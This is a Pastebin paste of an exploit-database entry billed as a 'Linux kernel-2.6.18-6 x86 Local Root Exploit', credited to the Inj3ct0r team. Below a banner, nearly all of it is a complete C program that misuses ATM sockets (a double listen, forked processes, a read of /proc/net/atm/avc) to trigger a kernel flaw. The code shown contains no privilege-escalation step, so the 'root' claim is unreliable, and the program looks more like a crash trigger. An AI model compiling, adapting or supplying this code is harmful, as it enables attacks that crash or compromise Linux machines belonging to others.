Guest User

Untitled

a guest
Jan 12th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.88 KB | None | 0 0
  1. ====================================================
  2. Linux kernel-2.6.18-6 x86 Local Root Exploit
  3. ====================================================
  4.  
  5. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
  6. 0 _ __ __ __ 1
  7. 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
  8. 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
  9. 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
  10. 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
  11. 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
  12. 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
  13. 1 \ \____/ >> Exploit database separated by exploit 0
  14. 0 \/___/ type (local, remote, DoS, etc.) 1
  15. 1 1
  16. 1 0
  17. 1 ######################################### 1
  18. 0 I'm Angel Injection member from Inj3ct0r Team 1
  19. 1 ######################################### 0
  20. 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  21. ########################################################################
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <string.h>
  25. #include <fcntl.h>
  26. #include <linux/atm.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <sys/stat.h>
  30.  
  31. #define NUM_CPUS 8
  32. #define ATM "/proc/net/atm/avc"
  33.  
  34. int
  35. main(void)
  36. {
  37. char *err, adurit[2000];
  38. int i, ret, sock, proc;
  39. struct atm_qos dj;
  40. struct sockaddr_atmsvc addr;
  41.  
  42.  
  43.  
  44. sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
  45.  
  46.  
  47. memset(&dj, 0, sizeof(dj));
  48. dj.rxtp.traffic_class = ATM_UBR;
  49. dj.txtp.traffic_class = ATM_UBR;
  50. dj.aal = ATM_NO_AAL;
  51.  
  52.  
  53. ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
  54. if (ret == -1) {
  55. printf("failed !\n");
  56. return 1;
  57. }
  58. memset(&addr, 0, sizeof(addr));
  59. addr.sas_family = AF_ATMSVC;
  60.  
  61. bind(sock, (struct sockaddr *) &addr, sizeof(addr));
  62.  
  63. listen(sock, 10);
  64. listen(sock, 10);
  65.  
  66. for (i = 1; i < NUM_CPUS; ++i) {
  67. if (fork() != 0) {
  68. break;
  69. }
  70. }
  71. proc = open(ATM, O_RDONLY);
  72. ret = read(proc, &adurit, 2000);
  73. close(proc);
  74.  
  75. return 0;
  76. }
  77.  
  78.  
  79. # [2011-10-06]
Add Comment
Please, Sign In to add comment